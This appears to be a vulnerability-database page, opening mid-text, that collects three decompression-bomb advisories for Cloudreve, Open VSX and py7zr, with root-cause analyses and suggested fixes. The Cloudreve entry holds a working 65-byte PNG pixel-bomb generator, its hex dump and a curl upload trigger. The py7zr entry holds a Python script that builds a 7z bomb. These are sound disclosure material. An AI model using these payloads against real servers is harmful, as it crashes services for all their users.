    if c.Request.ContentLength == -1 || c.Request.ContentLength > avatarSettings.MaxFileSize { // 4 MB cap
        return ...CodeFileTooLarge
    }
    return updateAvatarFile(c, u, c.GetHeader("Content-Type"), c.Request.Body, avatarSettings)
}
func updateAvatarFile(...) error {
    ext := "png"
    switch contentType { case "image/jpeg","image/jpg": ext="jpg"; case "image/gif": ext="gif" }
    avatar, err := thumb.NewThumbFromFile(file, ext)   // <-- decode of attacker bytes; no dim check
    ...
}

A 65-byte PoC trivially satisfies the 4 MB ContentLength cap.

Thumbnail (queue worker, in-process): manager.ThumbnailSubmitAndAwaitThumbnailTaskgenerateThumbpipeline.Generate (pkg/filemanager/manager/thumbnail.go:128-145, pkg/thumb/pipeline.go:86). The pipeline tries the enabled-by-default built-in generator for png/jpg/gif (other generators return ErrPassThrough for those extensions). Triggered via GET /api/v4/file/thumb?uri=… for the user's own files, and the same generation runs for files reached through a share (NavigatorCapabilityGenerateThumb), so a bomb dropped into a public share can be (re)triggered by an anonymous visitor.

Proof of Concept

The bomb (65 bytes — included as pixelbomb.png)

Generated with:

import struct, zlib, binascii
def chunk(t,d):
    c=t+d; return struct.pack(">I",len(d))+c+struct.pack(">I",binascii.crc32(c)&0xffffffff)
sig=b'\x89PNG\r\n\x1a\n'
W,H=0x7FFFFFFF,0x10                       # 2147483647 x 16
ihdr=struct.pack(">IIBBBBB",W,H,8,6,0,0,0)  # 8-bit, colour-type 6 (RGBA)
png=sig+chunk(b'IHDR',ihdr)+chunk(b'IDAT',zlib.compress(b''))+chunk(b'IEND',b'')
open('pixelbomb.png','wb').write(png)
# Go will attempt make([]uint8, 4*W*H) = 137,438,953,408 bytes (128 GiB)

Hex (entire file):

8950 4e47 0d0a 1a0a 0000 000d 4948 4452   .PNG........IHDR
7fff ffff 0000 0010 0806 0000 0068 bce2   .............h..
e300 0000 0849 4441 5478 9c03 0000 0000   .....IDATx......
0148 0689 d200 0000 0049 454e 44ae 4260   .H.......IEND.B`
82

(Dimensions are tunable: 4·W·H must stay < 2⁶³ to avoid the overflow→panic branch and < maxAlloc. 2147483647 × 16 → 128 GiB reliably OOM-kills any host; shrink H for smaller targets.)

Trigger (avatar — single request)

base=https://host/api/v4
curl -s -X PUT "$base/user/setting/avatar" \
     -H "Authorization: Bearer $TOK" \
     -H 'Content-Type: image/png' \
     --data-binary @pixelbomb.png

Observable result

# Either the kernel OOM-killer terminates the process:
#   dmesg: "Out of memory: Killed process <pid> (cloudreve)"
# or the Go runtime aborts fatally:
#   fatal error: runtime: out of memory
# The Cloudreve process exits; all users get connection-refused until restart.

Impact

  • Direct primitive: full availability loss — the process aborts, dropping all in-flight requests/sessions for every tenant on the instance.
  • Persistence / repeatability: the bomb can be stored (as a file whose thumbnail is generated on demand, or re-uploaded as an avatar), so the instance can be crashed again immediately after each restart; if supervised with auto-restart, the attacker scripts a sustained outage.
  • Amplification: each request costs the attacker ~65 bytes but costs the server an attempted multi-GB/TB allocation; trivial to repeat/parallelize.
  • No special privilege: any registered user (avatar). The thumbnail sink lets a planted bomb in a public share be re-triggered anonymously.

Suggested Mitigation

Cap decoded pixel dimensions before fully decoding, in addition to the existing file-size cap. Use image.DecodeConfig (reads only the header) and reject images whose width × height (or either dimension) exceeds a configurable limit; apply it in NewThumbFromFile so both the thumbnail and avatar paths are covered.

--- a/pkg/thumb/builtin.go
+++ b/pkg/thumb/builtin.go
@@ func NewThumbFromFile(file io.Reader, ext string) (*Thumb, error) {
-    var err error
-    var img image.Image
-    switch ext {
+    const maxPixels = 50 * 1000 * 1000 // e.g. 50 MP; make configurable
+    // Peek header-only to reject pixel/decompression bombs before allocation.
+    var hdrBuf bytes.Buffer
+    cfg, _, err := image.DecodeConfig(io.TeeReader(file, &hdrBuf))
+    if err != nil {
+        return nil, fmt.Errorf("failed to read image config: %w (%w)", err, ErrPassThrough)
+    }
+    if int64(cfg.Width)*int64(cfg.Height) > maxPixels {
+        return nil, fmt.Errorf("image dimensions too large (%dx%d): %w", cfg.Width, cfg.Height, ErrPassThrough)
+    }
+    file = io.MultiReader(&hdrBuf, file) // replay consumed header bytes
+    var img image.Image
+    switch ext {
         case "jpg", "jpeg": img, err = jpeg.Decode(file)
         case "gif":         img, err = gif.Decode(file)
         case "png":         img, err = png.Decode(file)

Additionally: - Apply the same pixel cap to the avatar path (covered automatically if it routes through NewThumbFromFile, as it does). - Consider running image decoding in a memory-limited child process / with debug.SetMemoryLimit + a GOMEMLIMIT-aware soft fail so a single decode cannot take down the whole server even if a future decoder lacks a header pre-check.

Why sufficient: DecodeConfig parses only the header (no large allocation), so the oversized buffer is never created; legitimate images decode unchanged.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cloudreve/Cloudreve/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.0-20260613024411-3607f79bb44c"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cloudreve/Cloudreve/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.0.0-20250225100611-da4e44b77af4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55497"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T20:48:10Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nCloudreve\u0027s built-in image processor decodes user-supplied images with Go\u0027s standard-library decoders (`image/png`, `image/jpeg`, `image/gif`) and guards **only the compressed file size** \u2014 never the *decoded* pixel dimensions. Go\u0027s decoders allocate a pixel buffer sized `bytesPerPixel \u00d7 width \u00d7 height` taken straight from the image header (e.g. a PNG\u0027s IHDR), with no upper bound on `width`/`height`. A tiny (tens-of-bytes) image that *declares* enormous dimensions therefore forces a multi-gigabyte-to-terabyte allocation (`make([]uint8, \u2026)`), exhausting memory. The resulting out-of-memory condition is a **fatal Go runtime error / kernel OOM-kill that `recover()` cannot catch**, terminating the whole Cloudreve process for all users.\n\nTwo reachable sinks share the same root cause:\n\n1. **Avatar upload** (`PUT /api/v4/user/setting/avatar`) \u2014 decodes synchronously in the request handler. Any authenticated user. **Cleanest single-request PoC.**\n2. **Thumbnail generation** (built-in generator, **enabled by default**) \u2014 decodes in the thumbnail queue worker. Reachable for the user\u0027s own files *and* for files inside a share, so a planted bomb can be (re)triggered through a public share link.\n\nPost-auth, low privilege. A single 65-byte upload deterministically takes the instance offline.\n\n### Details\n### Root cause \u2014 decode guarded by file size, not pixel count\n\nThe built-in generator is the **default** image thumbnailer:\n\n```go\n// inventory/setting.go  @ 26b6b10\n\"thumb_builtin_enabled\":   \"1\",         // ON by default\n\"thumb_builtin_max_size\":  \"78643200\",  // 75 MB \u2014 a *file size* cap\n\"thumb_vips_enabled\":      \"0\",         // libvips (which has its own limits) OFF by default\n...\n\"avatar_size\":             \"4194304\",   // 4 MB \u2014 a *file size* cap\n```\n`Builtin.Generate` checks the on-disk/entity size, then hands the raw bytes to the stdlib decoders:\n\n```go\n// pkg/thumb/builtin.go:144-152  @ 26b6b10\nfunc (b Builtin) Generate(ctx context.Context, es entitysource.EntitySource, ext string, previous *Result) (*Result, error) {\n    if es.Entity().Size() \u003e b.settings.BuiltinThumbMaxSize(ctx) {   // 75 MB compressed-size check ONLY\n        return nil, fmt.Errorf(\"file is too big: %w\", ErrPassThrough)\n    }\n    img, err := NewThumbFromFile(es, ext)   // \u003c-- decode; allocation happens here\n    ...\n}\n\n// pkg/thumb/builtin.go:34-60  @ 26b6b10\nfunc NewThumbFromFile(file io.Reader, ext string) (*Thumb, error) {\n    switch ext {\n    case \"jpg\", \"jpeg\": img, err = jpeg.Decode(file)\n    case \"gif\":         img, err = gif.Decode(file)\n    case \"png\":         img, err = png.Decode(file)   // \u003c-- unbounded allocation\n    ...\n    }\n}\n```\n\nThere is **no `image.DecodeConfig` pre-check** and **no dimension/pixel cap** anywhere on the path. The only `Bounds()`/`MaxWidth` references in the package (`builtin.go:70,92,125`, `avatar_size_l=200`) act on the *already-decoded* image and are the *output* resize target \u2014 they execute long after the oversized input buffer has been allocated.\n\n### Why the allocation is unbounded (Go stdlib `image/png`)\n\nGo\u0027s PNG reader takes the dimensions verbatim from IHDR and rejects only non-positive values \u2014 there is no maximum:\n\n```go\n// Go src/image/png/reader.go \u2014 parseIHDR\nw := int32(binary.BigEndian.Uint32(d.tmp[0:4]))\nh := int32(binary.BigEndian.Uint32(d.tmp[4:8]))\nif w \u003c= 0 || h \u003c= 0 { return FormatError(\"non-positive dimension\") }   // only guard\nd.width, d.height = int(w), int(h)\n```\n\nOn the first IDAT, `readImagePass` allocates the destination image **before** consuming the compressed pixel data, e.g. for colour-type 6 (RGBA, 8-bit):\n\n```go\n// Go src/image/png/reader.go \u2014 readImagePass\nnrgba = image.NewNRGBA(image.Rect(0, 0, width, height))   // make([]uint8, 4*width*height)\n```\n\n`image.NewNRGBA` \u2192 `pixelBufferLength` \u2192 `mul3NonNeg(4, w, h)` only guards against *integer overflow* (returns \u22121, which panics), not against huge-but-valid sizes. So any `4\u00b7w\u00b7h` that fits in an `int` and is below the runtime\u0027s `maxAlloc` (~2\u2074\u2078 on amd64) proceeds to `make([]uint8, 4\u00b7w\u00b7h)`. The allocation occurs even if the IDAT stream is empty/truncated, so the malicious file needs no real pixel data.\n\n`jpeg.Decode` (allocates the `YCbCr`/`RGBA` buffer from the SOF/SOS dimensions, max 65535\u00d765535 \u2192 up to ~17 GB) and `gif.Decode` (allocates from the logical-screen / frame dimensions) are affected the same way.\n\n### Why this is a fatal crash, not a handled error\n\nFor realistic bomb sizes (GBs\u2013hundreds of GBs, all `\u003c maxAlloc`), `make` proceeds and the process dies by one of:\n- **Kernel OOM-killer** sends SIGKILL when the touched pages can\u0027t be backed \u2014 not catchable by anything; or\n- the Go runtime **`throw(\"out of memory\")`** \u2014 a *fatal* error, **not** a recoverable `panic`, so `gin.Recovery()` does not save it.\n\n(Only the integer-overflow branch yields a recoverable panic; a competent attacker stays in the fatal-OOM regime, as the PoC does.)\n\n### Reachability of each sink\n\n**Avatar (synchronous, in the HTTP handler):**\n\n```go\n// routers/router.go:1269  @ 26b6b10  (under auth.Use(LoginRequired()) \u2192 user group)\nsetting.PUT(\"avatar\", middleware.RequiredScopes(types.ScopeUserInfoWrite), controllers.UploadAvatar)\n\n// service/user/setting.go:158-217  @ 26b6b10\nfunc UpdateUserAvatar(c *gin.Context) error {\n    ...\n    if c.Request.ContentLength == -1 || c.Request.ContentLength \u003e avatarSettings.MaxFileSize { // 4 MB cap\n        return ...CodeFileTooLarge\n    }\n    return updateAvatarFile(c, u, c.GetHeader(\"Content-Type\"), c.Request.Body, avatarSettings)\n}\nfunc updateAvatarFile(...) error {\n    ext := \"png\"\n    switch contentType { case \"image/jpeg\",\"image/jpg\": ext=\"jpg\"; case \"image/gif\": ext=\"gif\" }\n    avatar, err := thumb.NewThumbFromFile(file, ext)   // \u003c-- decode of attacker bytes; no dim check\n    ...\n}\n```\n\nA 65-byte PoC trivially satisfies the 4 MB `ContentLength` cap.\n\n**Thumbnail (queue worker, in-process):** `manager.Thumbnail` \u2192 `SubmitAndAwaitThumbnailTask` \u2192 `generateThumb` \u2192 `pipeline.Generate` (`pkg/filemanager/manager/thumbnail.go:128-145`, `pkg/thumb/pipeline.go:86`). The pipeline tries the **enabled-by-default** built-in generator for `png/jpg/gif` (other generators return `ErrPassThrough` for those extensions). Triggered via `GET /api/v4/file/thumb?uri=\u2026` for the user\u0027s own files, and the same generation runs for files reached through a share (`NavigatorCapabilityGenerateThumb`), so a bomb dropped into a public share can be (re)triggered by an anonymous visitor.\n\n## Proof of Concept\n\n### The bomb (65 bytes \u2014 included as `pixelbomb.png`)\n\nGenerated with:\n\n```python\nimport struct, zlib, binascii\ndef chunk(t,d):\n    c=t+d; return struct.pack(\"\u003eI\",len(d))+c+struct.pack(\"\u003eI\",binascii.crc32(c)\u00260xffffffff)\nsig=b\u0027\\x89PNG\\r\\n\\x1a\\n\u0027\nW,H=0x7FFFFFFF,0x10                       # 2147483647 x 16\nihdr=struct.pack(\"\u003eIIBBBBB\",W,H,8,6,0,0,0)  # 8-bit, colour-type 6 (RGBA)\npng=sig+chunk(b\u0027IHDR\u0027,ihdr)+chunk(b\u0027IDAT\u0027,zlib.compress(b\u0027\u0027))+chunk(b\u0027IEND\u0027,b\u0027\u0027)\nopen(\u0027pixelbomb.png\u0027,\u0027wb\u0027).write(png)\n# Go will attempt make([]uint8, 4*W*H) = 137,438,953,408 bytes (128 GiB)\n```\n\nHex (entire file):\n\n```\n8950 4e47 0d0a 1a0a 0000 000d 4948 4452   .PNG........IHDR\n7fff ffff 0000 0010 0806 0000 0068 bce2   .............h..\ne300 0000 0849 4441 5478 9c03 0000 0000   .....IDATx......\n0148 0689 d200 0000 0049 454e 44ae 4260   .H.......IEND.B`\n82\n```\n(Dimensions are tunable: `4\u00b7W\u00b7H` must stay `\u003c 2\u2076\u00b3` to avoid the overflow\u2192panic branch and `\u003c maxAlloc`. `2147483647 \u00d7 16` \u2192 128 GiB reliably OOM-kills any host; shrink `H` for smaller targets.)\n\n### Trigger (avatar \u2014 single request)\n\n```bash\nbase=https://host/api/v4\ncurl -s -X PUT \"$base/user/setting/avatar\" \\\n     -H \"Authorization: Bearer $TOK\" \\\n     -H \u0027Content-Type: image/png\u0027 \\\n     --data-binary @pixelbomb.png\n```\n\n### Observable result\n\n```\n# Either the kernel OOM-killer terminates the process:\n#   dmesg: \"Out of memory: Killed process \u003cpid\u003e (cloudreve)\"\n# or the Go runtime aborts fatally:\n#   fatal error: runtime: out of memory\n# The Cloudreve process exits; all users get connection-refused until restart.\n```\n## Impact\n\n- **Direct primitive**: full availability loss \u2014 the process aborts, dropping all in-flight requests/sessions for every tenant on the instance.\n- **Persistence / repeatability**: the bomb can be stored (as a file whose thumbnail is generated on demand, or re-uploaded as an avatar), so the instance can be crashed again immediately after each restart; if supervised with auto-restart, the attacker scripts a sustained outage.\n- **Amplification**: each request costs the attacker ~65 bytes but costs the server an attempted multi-GB/TB allocation; trivial to repeat/parallelize.\n- **No special privilege**: any registered user (avatar). The thumbnail sink lets a planted bomb in a public share be re-triggered anonymously.\n\n## Suggested Mitigation\n\nCap **decoded pixel dimensions** before fully decoding, in addition to the existing file-size cap. Use `image.DecodeConfig` (reads only the header) and reject images whose `width \u00d7 height` (or either dimension) exceeds a configurable limit; apply it in `NewThumbFromFile` so both the thumbnail and avatar paths are covered.\n\n```diff\n--- a/pkg/thumb/builtin.go\n+++ b/pkg/thumb/builtin.go\n@@ func NewThumbFromFile(file io.Reader, ext string) (*Thumb, error) {\n-    var err error\n-    var img image.Image\n-    switch ext {\n+    const maxPixels = 50 * 1000 * 1000 // e.g. 50 MP; make configurable\n+    // Peek header-only to reject pixel/decompression bombs before allocation.\n+    var hdrBuf bytes.Buffer\n+    cfg, _, err := image.DecodeConfig(io.TeeReader(file, \u0026hdrBuf))\n+    if err != nil {\n+        return nil, fmt.Errorf(\"failed to read image config: %w (%w)\", err, ErrPassThrough)\n+    }\n+    if int64(cfg.Width)*int64(cfg.Height) \u003e maxPixels {\n+        return nil, fmt.Errorf(\"image dimensions too large (%dx%d): %w\", cfg.Width, cfg.Height, ErrPassThrough)\n+    }\n+    file = io.MultiReader(\u0026hdrBuf, file) // replay consumed header bytes\n+    var img image.Image\n+    switch ext {\n         case \"jpg\", \"jpeg\": img, err = jpeg.Decode(file)\n         case \"gif\":         img, err = gif.Decode(file)\n         case \"png\":         img, err = png.Decode(file)\n```\n\nAdditionally:\n- Apply the same pixel cap to the avatar path (covered automatically if it routes through `NewThumbFromFile`, as it does).\n- Consider running image decoding in a memory-limited child process / with `debug.SetMemoryLimit` + a `GOMEMLIMIT`-aware soft fail so a single decode cannot take down the whole server even if a future decoder lacks a header pre-check.\n\nWhy sufficient: `DecodeConfig` parses only the header (no large allocation), so the oversized buffer is never created; legitimate images decode unchanged.",
  "id": "GHSA-g9j2-8w95-3vwv",
  "modified": "2026-07-24T20:48:10Z",
  "published": "2026-07-24T20:48:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cloudreve/cloudreve/security/advisories/GHSA-g9j2-8w95-3vwv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cloudreve/cloudreve/commit/3607f79bb44c35d0be4fa8b6e24c0502b51415a9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cloudreve/cloudreve"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cloudreve/cloudreve/releases/tag/4.17.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Cloudreve: Denial of Service - Image decompression / pixel bomb in thumbnail \u0026 avatar decoding crashes the server"
}

GHSA-GGQM-Q66X-MQH3

Vulnerability from github – Published: 2026-09-14 09:31 – Updated: 2026-09-14 09:31
VLAI
Details

Publishing limits the compressed size of a VSIX (ovsx.publishing.max-content-size, 512 MB by default) but nothing limited how large an entry becomes when opened.

On the first request to /vscode/unpkg/{namespace}/{extension}/{version}/{path}, WebResourceService opened the entry with ZipFile.getInputStream() and passed the decompressed stream to Files.copy(), which ran to the end of the stream without counting bytes written. The result was cached under java.io.tmpdir, and that cache evicted by entry count (150), not by size, so it placed no bound on disk usage.

A publisher with access only to their own namespace could therefore upload a small, highly compressible VSIX and cause the server to write far larger files to the temp filesystem — repeating with different files or versions, since a repeat request is served from the cache.

Impact observed: the temp filesystem filled; requests for files not already cached returned 500 with No space left on device; a failed extraction left a partial cache file that blocked later attempts at that path; publishing failed with Failed to read extension file. Metadata and already-cached files kept working, and the server did not stop.

Triggering the extraction needs no authentication — only the upload does.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-89321"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-14T09:17:01Z",
    "severity": "MODERATE"
  },
  "details": "Publishing limits the compressed size of a VSIX (ovsx.publishing.max-content-size, 512 MB by default) but nothing limited how large an entry becomes when opened.\n\n\n\n\nOn the first request to /vscode/unpkg/{namespace}/{extension}/{version}/{path}, WebResourceService opened the entry with ZipFile.getInputStream() and passed the decompressed stream to Files.copy(), which ran to the end of the stream without counting bytes written. The result was cached under java.io.tmpdir, and that cache evicted by entry count (150), not by size, so it placed no bound on disk usage.\n\n\n\n\nA publisher with access only to their own namespace could therefore upload a small, highly compressible VSIX and cause the server to write far larger files to the temp filesystem \u2014 repeating with different files or versions, since a repeat request is served from the cache.\n\n\n\n\nImpact observed: the temp filesystem filled; requests for files not already cached returned 500 with No space left on device; a failed extraction left a partial cache file that blocked later attempts at that path; publishing failed with Failed to read extension file. Metadata and already-cached files kept working, and the server did not stop.\n\n\n\n\nTriggering the extraction needs no authentication \u2014 only the upload does.",
  "id": "GHSA-ggqm-q66x-mqh3",
  "modified": "2026-09-14T09:31:03Z",
  "published": "2026-09-14T09:31:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/eclipse-openvsx/openvsx/security/advisories/GHSA-h685-gqw7-fqw7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-89321"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eclipse-openvsx/openvsx/pull/2060"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GJRG-MPP7-G774

Vulnerability from github – Published: 2026-06-19 21:16 – Updated: 2026-06-19 21:16
VLAI
Summary
py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size
Details

py7zr's Worker.decompress() extracts archive entries without tracking total decompressed size. A crafted .7z file can exhaust disk or memory before the extraction completes.

Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio).

Proof of concept:

import py7zr, tempfile, os

# create bomb: compress 100MB of zeros into ~15KB
bomb_path = tempfile.mktemp(suffix='.7z')
with py7zr.SevenZipFile(bomb_path, 'w') as z:
    import io
    z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin')

print(f'archive size: {os.path.getsize(bomb_path):,} bytes')

# extract — no size check
with py7zr.SevenZipFile(bomb_path, 'r') as z:
    z.extractall(path=tempfile.mkdtemp())

print('extracted 100 MB from ~15 KB archive')

Root cause: Worker.decompress() in py7zr/worker.py writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's zipfile max_size parameter.

Fix: track cumulative decompressed bytes and raise before writing if a limit is exceeded:

MAX_EXTRACT_SIZE = 2 * 1024 ** 3  # 2 GB default, configurable

total = 0
for chunk in decompressed_chunks:
    total += len(chunk)
    if total > MAX_EXTRACT_SIZE:
        raise py7zr.exceptions.DecompressionBombError(
            f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes'
        )
    outfile.write(chunk)

Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.1.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "py7zr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55195"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T21:16:29Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "py7zr\u0027s `Worker.decompress()` extracts archive entries without tracking total decompressed size. A crafted `.7z` file can exhaust disk or memory before the extraction completes.\n\nMeasured: 15.6 KB archive \u2192 100 MB output (6,556:1 ratio).\n\n**Proof of concept:**\n\n```python\nimport py7zr, tempfile, os\n\n# create bomb: compress 100MB of zeros into ~15KB\nbomb_path = tempfile.mktemp(suffix=\u0027.7z\u0027)\nwith py7zr.SevenZipFile(bomb_path, \u0027w\u0027) as z:\n    import io\n    z.writef(io.BytesIO(b\u0027\\x00\u0027 * 100 * 1024 * 1024), \u0027bomb.bin\u0027)\n\nprint(f\u0027archive size: {os.path.getsize(bomb_path):,} bytes\u0027)\n\n# extract \u2014 no size check\nwith py7zr.SevenZipFile(bomb_path, \u0027r\u0027) as z:\n    z.extractall(path=tempfile.mkdtemp())\n\nprint(\u0027extracted 100 MB from ~15 KB archive\u0027)\n```\n\n**Root cause:** `Worker.decompress()` in `py7zr/worker.py` writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python\u0027s `zipfile` `max_size` parameter.\n\n**Fix:** track cumulative decompressed bytes and raise before writing if a limit is exceeded:\n\n```python\nMAX_EXTRACT_SIZE = 2 * 1024 ** 3  # 2 GB default, configurable\n\ntotal = 0\nfor chunk in decompressed_chunks:\n    total += len(chunk)\n    if total \u003e MAX_EXTRACT_SIZE:\n        raise py7zr.exceptions.DecompressionBombError(\n            f\u0027Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes\u0027\n        )\n    outfile.write(chunk)\n```\n\nTested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.",
  "id": "GHSA-gjrg-mpp7-g774",
  "modified": "2026-06-19T21:16:29Z",
  "published": "2026-06-19T21:16:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/miurahr/py7zr/security/advisories/GHSA-gjrg-mpp7-g774"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/miurahr/py7zr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/miurahr/py7zr/releases/tag/v1.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size"
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.